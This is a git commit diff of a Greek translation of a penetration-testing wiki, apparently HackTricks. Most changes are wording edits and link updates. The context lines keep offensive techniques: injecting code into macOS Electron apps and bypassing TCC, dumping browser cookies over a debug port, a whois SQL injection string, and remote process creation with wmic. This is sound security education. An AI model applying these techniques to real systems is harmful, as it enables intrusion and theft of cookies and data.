Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:59:47 +00:00
parent 797eafaad4
commit 007453d55b
37 changed files with 483 additions and 482 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md) - [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() - [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security # ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() - [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() - [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() - [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access # 😎 Hardware/Physical Access

View File

@ -4,7 +4,7 @@
## Basic Information ## Basic Information
Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Αλλά προς το παρόν, απλά να ξέρετε ότι το Electron εκτελεί **node**.\ Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Αλλά προς το παρόν, απλά να ξέρετε ότι το Electron τρέχει **node**.\
Και το node έχει κάποιες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλο κώδικα** εκτός από το υποδεικνυόμενο αρχείο. Και το node έχει κάποιες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλο κώδικα** εκτός από το υποδεικνυόμενο αρχείο.
### Electron Fuses ### Electron Fuses
@ -19,7 +19,7 @@
Μια άλλη ενδιαφέρουσα σημαία που δεν θα αποτρέπει την έγχυση κώδικα είναι: Μια άλλη ενδιαφέρουσα σημαία που δεν θα αποτρέπει την έγχυση κώδικα είναι:
- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS. - **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο είναι κρυπτογραφημένο χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS.
### Checking Electron Fuses ### Checking Electron Fuses
@ -37,24 +37,24 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled LoadBrowserProcessSpecificV8Snapshot is Disabled
``` ```
### Τροποποίηση Ηλεκτρονικών Ασφαλειών ### Τροποποίηση των Fuses του Electron
Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Ηλεκτρονικών Ασφαλειών** είναι ρυθμισμένη μέσα στο **Ηλεκτρονικό δυαδικό** που περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Fuses του Electron** είναι ρυθμισμένη μέσα στο **δυαδικό αρχείο του Electron** το οποίο περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Στις εφαρμογές macOS, αυτό είναι συνήθως στο `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` Στις εφαρμογές macOS, αυτό είναι συνήθως στο `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash ```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
``` ```
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλώς τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**. Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**.
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework`** δυαδικό αρχείο μέσα σε μια εφαρμογή με αυτά τα bytes τροποποιημένα, η εφαρμογή δεν θα εκτελείται. Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework` binary** μέσα σε μια εφαρμογή με αυτούς τους τροποποιημένους byte, η εφαρμογή δεν θα εκτελείται.
## RCE προσθήκη κώδικα σε εφαρμογές Electron ## RCE προσθήκη κώδικα σε εφαρμογές Electron
Μπορεί να υπάρχουν **εξωτερικά αρχεία JS/HTML** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής. Μπορεί να υπάρχουν **εξωτερικά JS/HTML αρχεία** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.
> [!CAUTION] > [!CAUTION]
> Ωστόσο, αυτή τη στιγμή υπάρχουν 2 περιορισμοί: > Ωστόσο, αυτή τη στιγμή υπάρχουν 2 περιορισμοί:
@ -64,7 +64,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> >
> Κάνοντάς το αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο). > Κάνοντάς το αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).
Σημειώστε ότι είναι δυνατόν να παρακάμψετε την απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε άλλο κατάλογο (όπως **`/tmp`**), μετονομάζοντας τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το. Σημειώστε ότι είναι δυνατόν να παρακαμφθεί η απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε έναν άλλο φάκελο (όπως **`/tmp`**), μετονομάζοντας το φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με: Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:
```bash ```bash
@ -155,11 +155,11 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
``` ```
> [!CAUTION] > [!CAUTION]
> Αν η ασφάλεια **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοήσει τις παραμέτρους node** (όπως `--inspect`) όταν εκκινείται, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη. > Αν η ασφάλεια **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοήσει τις παραμέτρους node** (όπως `--inspect`) κατά την εκκίνηση, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη.
> >
> Ωστόσο, μπορείτε να χρησιμοποιήσετε την παράμετρο **`--remote-debugging-port=9229`** αλλά το προηγούμενο payload δεν θα λειτουργήσει για την εκτέλεση άλλων διαδικασιών. > Ωστόσο, μπορείτε να χρησιμοποιήσετε την παράμετρο **`--remote-debugging-port=9229`** αλλά το προηγούμενο payload δεν θα λειτουργήσει για την εκτέλεση άλλων διαδικασιών.
Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατόν να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το **ιστορικό** (με εντολές GET) ή τα **cookies** του προγράμματος περιήγησης (καθώς είναι **αποκρυπτογραφημένα** μέσα στο πρόγραμμα περιήγησης και υπάρχει ένα **json endpoint** που θα τα δώσει). Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατό να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το **ιστορικό** (με εντολές GET) ή τα **cookies** του προγράμματος περιήγησης (καθώς είναι **αποκρυπτογραφημένα** μέσα στο πρόγραμμα περιήγησης και υπάρχει ένα **json endpoint** που θα τα δώσει).
Μπορείτε να μάθετε πώς να το κάνετε αυτό [**εδώ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) και [**εδώ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) και να χρησιμοποιήσετε το αυτόματο εργαλείο [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ή ένα απλό script όπως: Μπορείτε να μάθετε πώς να το κάνετε αυτό [**εδώ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) και [**εδώ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) και να χρησιμοποιήσετε το αυτόματο εργαλείο [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ή ένα απλό script όπως:
```python ```python

View File

@ -25,7 +25,7 @@ PORT STATE SERVICE
![](<../images/image (159).png>) ![](<../images/image (159).png>)
Άλλες σφάλματα: Άλλα σφάλματα:
![](<../images/image (359).png>) ![](<../images/image (359).png>)
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: | Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2: Entry_2:
Name: Enum Users Name: Enum Users

View File

@ -4,17 +4,17 @@
## NetBios Name Service ## NetBios Name Service
**NetBIOS Name Service** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία. **Η Υπηρεσία Ονομάτων NetBIOS** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία.
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): [Από την Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
- Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp). - Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp).
- Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp). - Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp).
- Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp). - Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp).
### Name Service ### Υπηρεσία Ονομάτων
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας broadcast** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC. Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Ερώτησης Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -27,18 +27,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
``` ```
### Υπηρεσία Κατανομής Datagram ### Υπηρεσία Κατανομής Datagram
Τα datagrams NetBIOS επιτρέπουν την επικοινωνία χωρίς σύνδεση μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**. Τα datagrams NetBIOS επιτρέπουν τη σύνδεση χωρίς επικοινωνία μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**.
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm 138/udp open|filtered netbios-dgm
``` ```
### Υπηρεσία Συνεδρίας ### Session Service
Για συνδεδεμένες αλληλεπιδράσεις, η **Υπηρεσία Συνεδρίας** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Αίτημα Συνεδρίας" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων. Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με το TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει τα **πακέτα Μηνυμάτων Συνεδρίας**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP. Η μετάδοση δεδομένων μέσα σε μια συνεδρία περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP.
Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol). Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες τους [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2: Entry_2:
Name: Find Names Name: Find Names

View File

@ -14,12 +14,12 @@
## Περίληψη ## Περίληψη
1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες. 1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο να καθιερωθεί η επικοινωνία. 2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο για να καθιερωθεί η επικοινωνία.
3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID). 3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID. 4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID.
5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα. 5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα.
Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
## Δημοσιεύσεις ## Δημοσιεύσεις
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Basic Information
Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)). Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)).
@ -13,13 +13,13 @@
``` ```
## Περίληψη ## Περίληψη
1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες. 1. **Αριθμητική Έκδοση**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο να καθιερωθεί η επικοινωνία. 2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο για να καθιερωθεί η επικοινωνία.
3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID). 3. **Αριθμητική/Bruteforce Όνομα SID**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID. 4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID.
5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα. 5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα.
Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](oracle-pentesting-requirements-installation.md) Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](oracle-pentesting-requirements-installation.md)
## Δημοσιεύσεις ## Δημοσιεύσεις
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -11,9 +11,9 @@
PORT STATE SERVICE PORT STATE SERVICE
43/tcp open whois? 43/tcp open whois?
``` ```
## Καταμέτρηση ## Enumerate
Αποκτήστε όλες τις πληροφορίες που έχει μια υπηρεσία whois σχετικά με ένα τομέα: Πάρτε όλες τις πληροφορίες που έχει μια υπηρεσία whois για ένα τομέα:
```bash ```bash
whois -h <HOST> -p <PORT> "domain.tld" whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT> echo "domain.ltd" | nc -vn <HOST> <PORT>
@ -22,7 +22,7 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
![](<../images/image (301).png>) ![](<../images/image (301).png>)
Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλες** τις **πληροφορίες** που είναι αποθηκευμένες στη βάση δεδομένων. Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλα** τα **στοιχεία** που είναι αποθηκευμένα στη βάση δεδομένων.
## Shodan ## Shodan
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -2,14 +2,14 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Basic Information
Αυτή η θύρα χρησιμοποιείται από το **Redshift** για να λειτουργήσει. Είναι βασικά μια παραλλαγή του **PostgreSQL** από την AWS. Αυτή η θύρα χρησιμοποιείται από το **Redshift** για να λειτουργήσει. Είναι βασικά μια παραλλαγή του **PostgreSQL** από την AWS.
Για περισσότερες πληροφορίες ελέγξτε: Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}} {{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -28,7 +28,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
``` ```
Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, ενισχύοντας την ευελιξία στη διαχείριση των Windows μηχανών από μακριά. Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, ενισχύοντας την ευελιξία στη διαχείριση των Windows μηχανών από μακριά.
### Δοκιμάστε αν είναι ρυθμισμένο ### Δοκιμή αν είναι ρυθμισμένο
